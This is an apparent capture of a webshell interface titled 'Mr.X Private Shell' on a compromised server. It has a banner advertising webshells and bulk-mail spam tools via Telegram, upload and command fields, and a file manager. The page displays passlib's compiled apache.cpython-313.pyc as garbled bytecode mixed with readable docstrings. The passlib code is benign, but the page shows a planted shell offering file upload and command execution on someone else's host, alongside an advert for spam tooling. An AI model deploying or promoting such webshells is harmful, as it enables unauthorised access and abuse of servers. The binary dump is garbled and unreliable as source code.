__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

XR_E���b�SrSSKJr SSKr\R"\5rSSKrSSKJ	r	 SSK
JrJr SSK
Jr SSKJr SSKJr SS	KJrJrJr SS
KJr SSKJrJrJrJr SS
/r\"5r Sr!Sr"Sr#Sr$Sr%"SS\5r&\'"5r(Sr)\)"5r*Sr+\+"5r,"SS\&5r-"SS
\&5r.g)z(passlib.apache - apache password support�)�with_statementN)�warn)�exc�registry)�CryptContext)�ExpectedStringError)�htdigest)�render_bytes�to_bytes�is_ascii_codec)�deprecated_method)�
join_bytes�unicode�BytesIO�PY3�HtpasswdFile�HtdigestFile�:�#s:

	�skipped�recordc��\rSrSrSrSrSrSrSrSr	Sr
Sr\S5r
\S5rSSSSS\4S	jrS
r\S5r\R(S5r\S
5rSrSSjrSrSrSrSrSrSSjrSrSrSr Sr!Sr"S Sjr#Sr$Sr%g)!�_CommonFile�,z0common framework for HtpasswdFile & HtdigestFileNFc�Z�SU;a[S5eU"S0UD6nURU5 U$)z�create new object from raw string.

:type data: unicode or bytes
:arg data:
    database to load, as single string.

:param \*\*kwds:
    all other keywords are the same as in the class constructor
�pathz$'path' not accepted by from_string()�)�	TypeError�load_string)�cls�data�kwds�selfs    �0/usr/lib/python3/dist-packages/passlib/apache.py�from_string�_CommonFile.from_stringKs5���T�>��B�C�C��{�T�{���������c�8�U"S0UD6nURU5 U$)z�create new object from file, without binding object to file.

:type path: str
:arg path:
    local filepath to load from

:param \*\*kwds:
    all other keywords are the same as in the class constructor
r)�load)r rr"r#s    r$�	from_path�_CommonFile.from_path\s���{�T�{���	�	�$���r'T�utf-8c�8�U(d[S[SS9 SnSnO[U5(d[S5eXPlX`lX@lXlSUlU(d[S[SS9 S	nU(aU(dUR5 g0Ul
/Ulg)
Nz�``encoding=None`` is deprecated as of Passlib 1.6, and will cause a ValueError in Passlib 1.8, use ``return_unicode=False`` instead.���
stacklevelr,Fz'encoding must be 7-bit ascii compatiblerzp``autoload=False`` is deprecated as of Passlib 1.6, and will be removed in Passlib 1.8, use ``new=True`` insteadT)r�DeprecationWarningr�
ValueError�encoding�return_unicode�autosave�_path�_mtimer)�_records�_source)r#r�new�autoloadr5r3r4s       r$�__init__�_CommonFile.__init__ns�����9�$��
3��H�"�N���)�)��F�G�G� �
�-�� �
��
������P�#��
3��C����I�I�K��D�M��D�Lr'c��SnUR(aUS-
nUR(aUSUR--
nURS:waUSUR--
nSURR[U5U4-$)N�z autosave=Truez path=%rr,z encoding=%rz<%s 0x%0x%s>)r5r6r3�	__class__�__name__�id)r#�tails  r$�__repr__�_CommonFile.__repr__�sr�����=�=��$�$�D��:�:��J����+�+�D��=�=�G�#��N�T�]�]�2�2�D�����!8�!8�"�T�(�D� I�I�Ir'c��UR$�N)r6�r#s r$r�_CommonFile.path�s���z�z�r'c�<�XR:waSUlXlg)Nr)r6r7�r#�values  r$rrI�s���J�J���D�K��
r'c��UR$)z7modify time when last loaded (if bound to a local file))r7rHs r$�mtime�_CommonFile.mtime�s���{�{�r'c���UR(d[SU-5eUR(a8UR[RRUR5:XagUR
5 g)zBReload from ``self.path`` only if file has changed since last loadz%r is not bound to a local fileFT)r6�RuntimeErrorr7�osr�getmtimer)rHs r$�load_if_changed�_CommonFile.load_if_changed�sN���z�z��@�4�G�H�H��;�;�4�;�;�"�'�'�*:�*:�4�:�:�*F�F���	�	��r'c�T�Ub.[US5nSUlURU5 SSS5 g	U(d=[S[	UR
RS9-[SS9 UR5$UR(a_[URS5n[RRUR5UlURU5 SSS5 g	[SUR
R-5e!,(df   g	=f!,(df   g	=f)
a�Load state from local file.
If no path is specified, attempts to load from ``self.path``.

:type path: str
:arg path: local file to load from

:type force: bool
:param force:
    if ``force=False``, only load from ``self.path`` if file
    has changed since last load.

    .. deprecated:: 1.6
        This keyword will be removed in Passlib 1.8;
        Applications should use :meth:`load_if_changed` instead.
N�rbrz�%(name)s.load(force=False) is deprecated as of Passlib 1.6,and will be removed in Passlib 1.8; use %(name)s.load_if_changed() instead.)�namer.r/z2%s().path is not set, an explicit path is requiredT)�openr7�_load_linesr�dictr@rAr1rTr6rRrrSrQ)r#r�force�fhs    r$r)�_CommonFile.load�s�� ���d�D�!�R����� � ��$�"�"���;��4�>�>�2�2�3�4�$��	
3�
�'�'�)�)�
�Z�Z��d�j�j�$�'�2� �g�g�.�.�t�z�z�:���� � ��$�(���S�#�~�~�6�6� 7�8�
8�"�!�"��
(�'��s�D�AD�
D�
D'c�r�[XRS5nSUlUR[	U55 g)z@Load state from unicode or bytes string, replacing current stater!rN)rr3r7rZr)r#r!s  r$r�_CommonFile.load_string�s+����m�m�V�4�����������'r'c��URn0n/nSn[U5H�upgUR5nU(aUR[5(aXW-
nM<U"XvS-5up�X�;a[
R
SU	-5 XW-
nMlU(aUR[U45 SnX�U	'UR[U	45 M� UR5(aUR[U45 X0lX@lg)zload from sequence of listsr'�z1username occurs multiple times in source file: %rN)
�
_parse_record�	enumerate�lstrip�
startswith�_BHASH�log�warning�append�_SKIPPED�_RECORD�rstripr8r9)r#�lines�parse�records�sourcer�idx�line�tmp�keyrLs           r$rZ�_CommonFile._load_lines�s����"�"��������"�5�)�I�C��+�+�-�C��#�.�.��0�0������t��U�+�J�C��~����O�RU�U�V�������
�
�x��1�2���!�C�L��M�M�7�C�.�)�5*�:�>�>����M�M�8�W�-�.� �
��r'c��[S5e)z)parse line of file into (key, value) pair�!should be implemented in subclass��NotImplementedError)r#r�linenos   r$rc�_CommonFile._parse_record���!�"E�F�Fr'c�~�URnX;nX#U'U(d!URR[U45 U$)z{
helper for setting record which takes care of inserting source line if needed;

:returns:
    bool if key already present
)r8r9rjrl)r#rurLrp�existings     r$�_set_record�_CommonFile._set_records9���-�-���N�������L�L����#��/��r'c�l�UR(a#UR(aUR5 ggg)z0subclass helper to call save() after any changesN)r5r6�saverHs r$�	_autosave�_CommonFile._autosave!s���=�=�T�Z�Z��I�I�K�(�=r'c��Ub5[US5nURUR55 SSS5 gUR(aJUR	UR5 [
RRUR5Ulg[SURR-5e!,(df   g=f)zXSave current state to file.
If no path is specified, attempts to save to ``self.path``.
N�wbz%%s().path is not set, cannot autosave)rY�
writelines�_iter_linesr6r�rRrrSr7rQr@rA)r#rr]s   r$r��_CommonFile.save&s������d�D�!�R��
�
�d�.�.�0�1�"�!�
�Z�Z��I�I�d�j�j�!��'�'�*�*�4�:�:�6�D�K��F�#�~�~�6�6� 7�8�
8�
"�!�s� B6�6
Cc�4�[UR55$)z)Export current state as a string of bytes)rr�rHs r$�	to_string�_CommonFile.to_string4s���$�*�*�,�-�-r'c#�"# �URn[U5nURHPup4U[:XaUv� MU[:XdeXA;aM(URXAU5v� UR
U5 MR U(aSU<35eg7f)z#iterator yielding lines of databasez%failed to write all records: missing=N)r8�setr9rkrl�_render_record�remove)r#rp�pending�action�contents     r$r��_CommonFile._iter_lines@s�����-�-����'�l�G�#�|�|�O�F���!��
���(�(�(��)���)�)�'�7�3C�D�D���N�N�7�+� ,���V�W� V�V�;�w�s�B
Bc��[S5e)z,given key/value pair, encode as line of filerxry)r#rurLs   r$r��_CommonFile._render_record[r}r'c�&�URUS5$)z)user-specific wrapper for _encode_field()�user��
_encode_field�r#r�s  r$�_encode_user�_CommonFile._encode_userbs���!�!�$��/�/r'c�&�URUS5$)z*realm-specific wrapper for _encode_field()�realmr��r#r�s  r$�
_encode_realm�_CommonFile._encode_realmfs���!�!�%��1�1r'c�<�[U[5(aURUR5nO [U[5(d[X5e[
U5S:�a[U<SU<35e[SU55(a[U<SU<35eU$)a�convert field to internal representation.

internal representation is always bytes. byte strings are left as-is,
unicode strings encoding using file's default encoding (or ``utf-8``
if no encoding has been specified).

:raises UnicodeEncodeError:
    if unicode value cannot be encoded using default encoding.

:raises ValueError:
    if resulting byte string contains a forbidden character,
    or is too long (>255 bytes).

:returns:
    encoded identifer as bytes
�z! must be at most 255 characters: c3�2# �UH
o[;v� M g7frG)�_INVALID_FIELD_CHARS)�.0�cs  r$�	<genexpr>�,_CommonFile._encode_field.<locals>.<genexpr>�s���8�%�Q�(�(�%�s�z contains invalid characters: )	�
isinstancer�encoder3�bytesr�lenr2�any)r#rL�params   r$r��_CommonFile._encode_fieldjs���"�e�W�%�%��L�L����/�E��E�5�)�)�%�e�3�3��u�:����#�U�,�-�
-��8�%�8�8�8��#�U�-�.�
.��r'c��[U[5(dS5eUR(aURUR5$U$)adecode field from internal representation to format
returns by users() method, etc.

:raises UnicodeDecodeError:
    if unicode value cannot be decoded using default encoding.
    (usually indicates wrong encoding set for file).

:returns:
    field as unicode or bytes, as appropriate.
zexpected value to be bytes)r�r�r4�decoder3rKs  r$�
_decode_field�_CommonFile._decode_field�s>���%��'�'�E�)E�E�'�����<�<��
�
�.�.��Lr')r7r6r8r9r5r3r4)NTrG)�field)&rA�
__module__�__qualname__�__firstlineno__�__doc__r3r4r6r7r5r8r9�classmethodr%r*rr<rD�propertyr�setterrNrTr)rrZrcr�r�r�r�r�r�r�r�r�r��__static_attributes__rr'r$rr,s��:��H��N�
�E�
�F��H��H��G�
���� ����"!�e�d�U�!�#�!�FJ�����
�[�[����
�����"�H(�(�TG��"�
8�.�W�6G�0�2��:r'rc	��SnSH"n[R"U5(dM Un O [R"S5(aSOSn[R	5 U(d[R/SQ5 [
U=(d SSU=(d U=(d SU=(d SU=(d SSS9nURUSUSS	9 U$)
N)�bcrypt�sha256_cryptr�)�portable_apache_24�host_apache_24�linux_apache_24�portable�host�
apr_md5_cryptr�)r��portable_apache_22r��host_apache_22r��linux_apache_22r�r�)r�r�)r�has_os_crypt_support�has_backend�_warn_no_bcrypt�clear�updater[)�	host_bestrXr��defaultss    r$�_init_default_schemesr��s����I�*���(�(��.�.��I��+�"�-�-�h�7�7�X�T�F��������� G�	H��!�4�_�*��=��=�o� �3�O��0�.�&��H�"
�O�O��.�/�
�&�
'����Or'c���/SQnUR[R"55 USSS/-U-n[[	U5UR
S9n[
U[SSS9$)N)r�r��sha512_crypt�	des_cryptr��	ldap_sha1�	plaintext�r�)rur��2y)�schemes�default�
bcrypt__ident)�extendr�get_supported_os_crypt_schemes�sortedr��indexr�htpasswd_defaults)r��	preferreds  r$�_init_htpasswd_contextr��sp���G�0�N�N�8�:�:�<�=������/�/�'�9�I��S��\�y���7�G���"�"6�7���r'c�^�\rSrSrSrSS\4U4SjjrSrSrSr	Sr
\"S	S
SS9S
5rSr
Sr\"S	S
SS9S5rSrSr\"S	S
SS9S5rSrU=r$)ria�class for reading & writing Htpasswd files.

The class constructor accepts the following arguments:

:type path: filepath
:param path:

    Specifies path to htpasswd file, use to implicitly load from and save to.

    This class has two modes of operation:

    1. It can be "bound" to a local file by passing a ``path`` to the class
       constructor. In this case it will load the contents of the file when
       created, and the :meth:`load` and :meth:`save` methods will automatically
       load from and save to that file if they are called without arguments.

    2. Alternately, it can exist as an independant object, in which case
       :meth:`load` and :meth:`save` will require an explicit path to be
       provided whenever they are called. As well, ``autosave`` behavior
       will not be available.

       This feature is new in Passlib 1.6, and is the default if no
       ``path`` value is provided to the constructor.

    This is also exposed as a readonly instance attribute.

:type new: bool
:param new:

    Normally, if *path* is specified, :class:`HtpasswdFile` will
    immediately load the contents of the file. However, when creating
    a new htpasswd file, applications can set ``new=True`` so that
    the existing file (if any) will not be loaded.

    .. versionadded:: 1.6
        This feature was previously enabled by setting ``autoload=False``.
        That alias has been deprecated, and will be removed in Passlib 1.8

:type autosave: bool
:param autosave:

    Normally, any changes made to an :class:`HtpasswdFile` instance
    will not be saved until :meth:`save` is explicitly called. However,
    if ``autosave=True`` is specified, any changes made will be
    saved to disk immediately (assuming *path* has been set).

    This is also exposed as a writeable instance attribute.

:type encoding: str
:param encoding:

    Optionally specify character encoding used to read/write file
    and hash passwords. Defaults to ``utf-8``, though ``latin-1``
    is the only other commonly encountered encoding.

    This is also exposed as a readonly instance attribute.

:type default_scheme: str
:param default_scheme:
    Optionally specify default scheme to use when encoding new passwords.

    This can be any of the schemes with builtin Apache support,
    OR natively supported by the host OS's :func:`crypt.crypt` function.

    * Builtin schemes include ``"bcrypt"`` (apache 2.4+), ``"apr_md5_crypt"`,
      and ``"des_crypt"``.

    * Schemes commonly supported by Unix hosts
      include ``"bcrypt"``, ``"sha256_crypt"``, and ``"des_crypt"``.

    In order to not have to sort out what you should use,
    passlib offers a number of aliases, that will resolve
    to the most appropriate scheme based on your needs:

    * ``"portable"``, ``"portable_apache_24"`` -- pick scheme that's portable across hosts
      running apache >= 2.4. **This will be the default as of Passlib 2.0**.

    * ``"portable_apache_22"`` -- pick scheme that's portable across hosts
      running apache >= 2.4. **This is the default up to Passlib 1.9**.

    * ``"host"``, ``"host_apache_24"`` -- pick strongest scheme supported by
       apache >= 2.4 and/or host OS.

    * ``"host_apache_22"`` -- pick strongest scheme supported by
       apache >= 2.2 and/or host OS.

    .. versionadded:: 1.6
        This keyword was previously named ``default``. That alias
        has been deprecated, and will be removed in Passlib 1.8.

    .. versionchanged:: 1.6.3

        Added support for ``"bcrypt"``, ``"sha256_crypt"``, and ``"portable"`` alias.

    .. versionchanged:: 1.7

        Added apache 2.4 semantics, and additional aliases.

:type context: :class:`~passlib.context.CryptContext`
:param context:
    :class:`!CryptContext` instance used to create
    and verify the hashes found in the htpasswd file.
    The default value is a pre-built context which supports all
    of the hashes officially allowed in an htpasswd file.

    This is also exposed as a readonly instance attribute.

    .. warning::

        This option may be used to add support for non-standard hash
        formats to an htpasswd file. However, the resulting file
        will probably not be usable by another application,
        and particularly not by Apache.

:param autoload:
    Set to ``False`` to prevent the constructor from automatically
    loaded the file from disk.

    .. deprecated:: 1.6
        This has been replaced by the *new* keyword.
        Instead of setting ``autoload=False``, you should use
        ``new=True``. Support for this keyword will be removed
        in Passlib 1.8.

:param default:
    Change the default algorithm used to hash new passwords.

    .. deprecated:: 1.6
        This has been renamed to *default_scheme* for clarity.
        Support for this alias will be removed in Passlib 1.8.

Loading & Saving
================
.. automethod:: load
.. automethod:: load_if_changed
.. automethod:: load_string
.. automethod:: save
.. automethod:: to_string

Inspection
================
.. automethod:: users
.. automethod:: check_password
.. automethod:: get_hash

Modification
================
.. automethod:: set_password
.. automethod:: delete

Alternate Constructors
======================
.. automethod:: from_string

Attributes
==========
.. attribute:: path

    Path to local file that will be used as the default
    for all :meth:`load` and :meth:`save` operations.
    May be written to, initialized by the *path* constructor keyword.

.. attribute:: autosave

    Writeable flag indicating whether changes will be automatically
    written to *path*.

Errors
======
:raises ValueError:
    All of the methods in this class will raise a :exc:`ValueError` if
    any user name contains a forbidden character (one of ``:\r\n\t\x00``),
    or is longer than 255 characters.
Nc�,>�SU;a [S[SS9 URS5nU(aKU[;a[SU-[R
5 [RX"5nURUS9nX0l	[[U]2"U40UD6 g)Nr�z{``default`` is deprecated as of Passlib 1.6, and will be removed in Passlib 1.8, it has been renamed to ``default_scheem``.r.r/zPHtpasswdFile: no bcrypt backends available, using fallback for default scheme %r)r�)
rr1�popr�r�PasslibSecurityWarningr��get�copy�context�superrr<)r#r�default_schemer�r"r@s     �r$r<�HtpasswdFile.__init__�s��������*�$��
3�"�X�X�i�0�N����0��<�>L�M��/�/�1�/�2�2�>�R�N��l�l�>�l�:�G���
�l�D�*�4�8�4�8r'c��UR5R[5n[U5S:wa[	SU-5eU$)Nr.z/malformed htpasswd file (error reading line %d)�rm�split�_BCOLONr�r2)r#rr{�results    r$rc�HtpasswdFile._parse_record�sA������&�&�w�/���v�;�!���N�%�&�'�
'��
r'c��[SX5$)Nz%s:%s
�r
)r#r��hashs   r$r��HtpasswdFile._render_record�s���I�t�2�2r'c�b�URVs/sHoRU5PM sn$s snf)z&
Return list of all users in database
)r8r�r�s  r$�users�HtpasswdFile.users�s)��6:�]�]�C�]�T�"�"�4�(�]�C�C��Cs�,c�Z�URRU5nURX5$)acSet password for user; adds user if needed.

:returns:
    * ``True`` if existing user was updated.
    * ``False`` if user account was added.

.. versionchanged:: 1.6
    This method was previously called ``update``, it was renamed
    to prevent ambiguity with the dictionary method.
    The old alias is deprecated, and will be removed in Passlib 1.8.
)r�r��set_hash)r#r��passwordr�s    r$�set_password�HtpasswdFile.set_password�s'���|�|� � ��*���}�}�T�(�(r'�1.6�1.8r���
deprecated�removed�replacementc�$�URX5$�zset password for user�r��r#r�r�s   r$r��HtpasswdFile.updates��� � ��0�0r'c�`�URURU5$![a gf=f)z�Return hash stored for user, or ``None`` if user not found.

.. versionchanged:: 1.6
    This method was previously named ``find``, it was renamed
    for clarity. The old name is deprecated, and will be removed
    in Passlib 1.8.
N)r8r��KeyErrorr�s  r$�get_hash�HtpasswdFile.get_hashs3��	��=�=��!2�!2�4�!8�9�9���	��	�s� �
-�-c���[(a0[U[5(aURUR5nURU5nUR
X5nUR5 U$)z�
semi-private helper which allows writing a hash directly;
adds user if needed.

.. warning::
    does not (currently) do any validation of the hash string

.. versionadded:: 1.7
)rr��strr�r3r�r�r�)r#r�r�rs    r$r��HtpasswdFile.set_hashsV���3�:�d�C�(�(��;�;�t�}�}�-�D�� � ��&���#�#�D�/�������r'rc�$�URU5$�zreturn hash for user�rr�s  r$�find�HtpasswdFile.find1s���}�}�T�"�"r'c�~�URURU5	UR5 g![a gf=f)zcDelete user's entry.

:returns:
    * ``True`` if user deleted.
    * ``False`` if user not found.
FT)r8r�r
r�r�s  r$�delete�HtpasswdFile.delete8sA��	��
�
�d�/�/��5�6�	
�������	��	�s�/�
<�<c�r�URU5nURRU5nUcg[U[5(aURUR5nURRX#5upEU(a2Ub/XR;deXPRU'UR5 U$)a�
Verify password for specified user.
If algorithm marked as deprecated by CryptContext, will automatically be re-hashed.

:returns:
    * ``None`` if user not found.
    * ``False`` if user found, but password does not match.
    * ``True`` if user found and password matches.

.. versionchanged:: 1.6
    This method was previously called ``verify``, it was renamed
    to prevent ambiguity with the :class:`!CryptContext` method.
    The old alias is deprecated, and will be removed in Passlib 1.8.
N)
r�r8r�r�rr�r3r��verify_and_updater�)r#r�r�r��ok�new_hashs      r$�check_password�HtpasswdFile.check_passwordFs���� � ��&���}�}� � ��&���<���h��(�(� ���t�}�}�5�H��|�|�5�5�h�E���
�(�&��=�=�(�(�(�"*�M�M�$���N�N���	r'rc�$�URX5$�zverify password for user�rr
s   r$�verify�HtpasswdFile.verifyes���"�"�4�2�2r')r�)rAr�r�r�r��htpasswd_contextr<rcr�r�r�r
r�rr�rrrr$r��
__classcell__�r@s@r$rrs����m�p!��?O�9�$�3�D�$
)��%��#1�3�1�3�1���$�%��#-�/�#�/�#�
��>�%��#3�5�3�5�3r'c�^�\rSrSrSrSrSU4SjjrSrSrSr	Sr
S	rS
rSSjr
S\4Sjr\"S
SSS9S5rSSjrS\4Sjr\"S
SSS9S5rSSjrSrS\4Sjr\"S
SSS9S5rSrU=r$)riraNclass for reading & writing Htdigest files.

The class constructor accepts the following arguments:

:type path: filepath
:param path:

    Specifies path to htdigest file, use to implicitly load from and save to.

    This class has two modes of operation:

    1. It can be "bound" to a local file by passing a ``path`` to the class
       constructor. In this case it will load the contents of the file when
       created, and the :meth:`load` and :meth:`save` methods will automatically
       load from and save to that file if they are called without arguments.

    2. Alternately, it can exist as an independant object, in which case
       :meth:`load` and :meth:`save` will require an explicit path to be
       provided whenever they are called. As well, ``autosave`` behavior
       will not be available.

       This feature is new in Passlib 1.6, and is the default if no
       ``path`` value is provided to the constructor.

    This is also exposed as a readonly instance attribute.

:type default_realm: str
:param default_realm:

    If ``default_realm`` is set, all the :class:`HtdigestFile`
    methods that require a realm will use this value if one is not
    provided explicitly. If unset, they will raise an error stating
    that an explicit realm is required.

    This is also exposed as a writeable instance attribute.

    .. versionadded:: 1.6

:type new: bool
:param new:

    Normally, if *path* is specified, :class:`HtdigestFile` will
    immediately load the contents of the file. However, when creating
    a new htpasswd file, applications can set ``new=True`` so that
    the existing file (if any) will not be loaded.

    .. versionadded:: 1.6
        This feature was previously enabled by setting ``autoload=False``.
        That alias has been deprecated, and will be removed in Passlib 1.8

:type autosave: bool
:param autosave:

    Normally, any changes made to an :class:`HtdigestFile` instance
    will not be saved until :meth:`save` is explicitly called. However,
    if ``autosave=True`` is specified, any changes made will be
    saved to disk immediately (assuming *path* has been set).

    This is also exposed as a writeable instance attribute.

:type encoding: str
:param encoding:

    Optionally specify character encoding used to read/write file
    and hash passwords. Defaults to ``utf-8``, though ``latin-1``
    is the only other commonly encountered encoding.

    This is also exposed as a readonly instance attribute.

:param autoload:
    Set to ``False`` to prevent the constructor from automatically
    loaded the file from disk.

    .. deprecated:: 1.6
        This has been replaced by the *new* keyword.
        Instead of setting ``autoload=False``, you should use
        ``new=True``. Support for this keyword will be removed
        in Passlib 1.8.

Loading & Saving
================
.. automethod:: load
.. automethod:: load_if_changed
.. automethod:: load_string
.. automethod:: save
.. automethod:: to_string

Inspection
==========
.. automethod:: realms
.. automethod:: users
.. automethod:: check_password(user[, realm], password)
.. automethod:: get_hash

Modification
============
.. automethod:: set_password(user[, realm], password)
.. automethod:: delete
.. automethod:: delete_realm

Alternate Constructors
======================
.. automethod:: from_string

Attributes
==========
.. attribute:: default_realm

    The default realm that will be used if one is not provided
    to methods that require it. By default this is ``None``,
    in which case an explicit realm must be provided for every
    method call. Can be written to.

.. attribute:: path

    Path to local file that will be used as the default
    for all :meth:`load` and :meth:`save` operations.
    May be written to, initialized by the *path* constructor keyword.

.. attribute:: autosave

    Writeable flag indicating whether changes will be automatically
    written to *path*.

Errors
======
:raises ValueError:
    All of the methods in this class will raise a :exc:`ValueError` if
    any user name or realm contains a forbidden character (one of ``:\r\n\t\x00``),
    or is longer than 255 characters.
Nc�<>�X l[[U]"U40UD6 grG)�
default_realmr�rr<)r#rr+r"r@s    �r$r<�HtdigestFile.__init__s���*��
�l�D�*�4�8�4�8r'c��UR5R[5n[U5S:wa[	SU-5eUupEnXE4U4$)Nr�z/malformed htdigest file (error reading line %d)r�)r#rr{r�r�r�r�s       r$rc�HtdigestFile._parse_recordsS������&�&�w�/���v�;�!���N�%�&�'�
'�"���T��}�d�"�"r'c�$�Uup4[SX4U5$)Nz	%s:%s:%s
r�)r#rur�r�r�s     r$r��HtdigestFile._render_records������L�$�t�<�<r'c�@�UcURnUc[S5eU$)NzGyou must specify a realm explicitly, or set the default_realm attribute)r+rr�s  r$�_require_realm�HtdigestFile._require_realms1���=��&�&�E��}��!E�F�F��r'c�H�URU5nURUS5$)Nr�)r2r�r�s  r$r��HtdigestFile._encode_realms%���#�#�E�*���!�!�%��1�1r'c�F�URU5URU54$rG)r�r��r#r�r�s   r$�_encode_key�HtdigestFile._encode_key#s#��� � ��&��(:�(:�5�(A�A�Ar'c��[SUR55nUVs/sHo RU5PM sn$s snf)z%Return list of all realms in databasec3�*# �UH	oSv� M g7f)rbNr)r�rus  r$r��&HtdigestFile.realms.<locals>.<genexpr>,s���5�}���V�}�s�)r�r8r�)r#�realmsr�s   r$r=�HtdigestFile.realms*s7���5�t�}�}�5�5��7=�>�v�e�"�"�5�)�v�>�>��>s�>c��URU5nURVs/sH"nUSU:XdMURUS5PM$ sn$s snf)z�Return list of all users in specified realm.

* uses ``self.default_realm`` if no realm explicitly provided.
* returns empty list if realm not found.
rbr)r�r8r�)r#r�rus   r$r��HtdigestFile.users/sW���"�"�5�)��6:�m�m�$�m�s��q�6�U�?�+��"�"�3�q�6�*�m�$�	$��$s
�
A�Ac��U[LaSUp2URU5n[R"X1X RS9nURXU5$)a_Set password for user; adds user & realm if needed.

If ``self.default_realm`` has been set, this may be called
with the syntax ``set_password(user, password)``,
otherwise it must be called with all three arguments:
``set_password(user, realm, password)``.

:returns:
    * ``True`` if existing user was updated
    * ``False`` if user account added.
N�r3)�_UNSETr2r	r�r3r��r#r�r�r�r�s     r$r��HtdigestFile.set_passwordQsH���v��"�E�8��#�#�E�*���}�}�X�U�]�]�K���}�}�T�$�/�/r'rrr�rc�&�URXU5$rr	�r#r�r�r�s    r$r��HtdigestFile.updateds��� � ��h�7�7r'c��URX5nURRU5nUcg[(aUR	UR
5nU$)aXReturn :class:`~passlib.hash.htdigest` hash stored for user.

* uses ``self.default_realm`` if no realm explicitly provided.
* returns ``None`` if user or realm not found.

.. versionchanged:: 1.6
    This method was previously named ``find``, it was renamed
    for clarity. The old name is deprecated, and will be removed
    in Passlib 1.8.
N)r8r8r�rr�r3)r#r�r�rur�s     r$r�HtdigestFile.get_hashjsL�����t�+���}�}� � ��%���<���3��;�;�t�}�}�-�D��r'c��U[LaSUp2[(a0[U[5(aUR	UR
5nUR
X5nURXC5nUR5 U$)ax
semi-private helper which allows writing a hash directly;
adds user & realm if needed.

If ``self.default_realm`` has been set, this may be called
with the syntax ``set_hash(user, hash)``,
otherwise it must be called with all three arguments:
``set_hash(user, realm, hash)``.

.. warning::
    does not (currently) do any validation of the hash string

.. versionadded:: 1.7
N)	rCrr�rr�r3r8r�r�)r#r�r�r�rurs      r$r��HtdigestFile.set_hash}sd���6�>���4��3�:�d�C�(�(��;�;�t�}�}�-�D����t�+���#�#�C�.�������r'rc�$�URX5$rrr7s   r$r�HtdigestFile.find�s���}�}�T�)�)r'c��URX5nURU	UR5 g![a gf=f)z�Delete user's entry for specified realm.

if realm is not specified, uses ``self.default_realm``.

:returns:
    * ``True`` if user deleted,
    * ``False`` if user not found in realm.
FT)r8r8r
r�)r#r�r�rus    r$r�HtdigestFile.delete�sH�����t�+��	��
�
�c�"�	
�������	��	�s�
1�
>�>c���URU5nURnUVs/sHo3SU:XdM
UPM nnUHnX#	M UR5 [U5$s snf)z�Delete all users for specified realm.

if realm is not specified, uses ``self.default_realm``.

:returns: number of users deleted (0 if realm not found)
rb)r�r8r�r�)r#r�rpru�keyss     r$�delete_realm�HtdigestFile.delete_realm�sa���"�"�5�)���-�-��&�:�w��a�&�E�/��w��:��C���������4�y���	;s
�A �A c���U[LaSUp2URU5nURU5nURR	X45nUcg[
R"X4XURS9$)a�Verify password for specified user + realm.

If ``self.default_realm`` has been set, this may be called
with the syntax ``check_password(user, password)``,
otherwise it must be called with all three arguments:
``check_password(user, realm, password)``.

:returns:
    * ``None`` if user or realm not found.
    * ``False`` if user found, but password does not match.
    * ``True`` if user found and password matches.

.. versionchanged:: 1.6
    This method was previously called ``verify``, it was renamed
    to prevent ambiguity with the :class:`!CryptContext` method.
    The old alias is deprecated, and will be removed in Passlib 1.8.
NrB)rCr�r�r8r�r	r$r3rDs     r$r�HtdigestFile.check_password�sm��$�v��"�E�8�� � ��&���"�"�5�)���}�}� � �$��.���<�����x�t�(,�
�
�7�	7r'rc�&�URXU5$r"r#rGs    r$r$�HtdigestFile.verify�s���"�"�4��9�9r')r+)NNrG)rAr�r�r�r�r+r<rcr�r2r�r8r=r�rCr�r
r�rr�rrrSrr$r�r'r(s@r$rrrs����B�^�M�
9�#�=��2�B�?�
$�D(,�f�0�&�%��#1�3�8�3�8��&$(�f��4�%��#-�/�*�/�*�
�"
�*.��7�:�%��#3�5�:�5�:r')/r��
__future__r�logging�	getLoggerrArhrR�warningsr�passlibrr�passlib.contextr�passlib.excr�passlib.hashr	�
passlib.utilsr
rr�passlib.utils.decorr
�passlib.utils.compatrrrr�__all__�objectrCr�rgr�rkrlrr�r�r�r�r�r&rrrr'r$�<module>rfs���.�
&��g�'�'��1��	��"�(�+�!�@�@�1�B�B�����
���
��	
��&����
��
j�&�j�J�%��&�R*�+��*�Z*�+��X3�;�X3�Bm:�;�m:r'

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 248 B 0644
apache.cpython-313.pyc File 40.22 KB 0644
apps.cpython-313.pyc File 4.14 KB 0644
context.cpython-313.pyc File 90.2 KB 0644
exc.cpython-313.pyc File 15.34 KB 0644
hash.cpython-313.pyc File 2.38 KB 0644
hosts.cpython-313.pyc File 1.37 KB 0644
ifc.cpython-313.pyc File 7.11 KB 0644
pwd.cpython-313.pyc File 25.14 KB 0644
registry.cpython-313.pyc File 18.19 KB 0644
totp.cpython-313.pyc File 62.13 KB 0644
win32.cpython-313.pyc File 2.22 KB 0644
Filemanager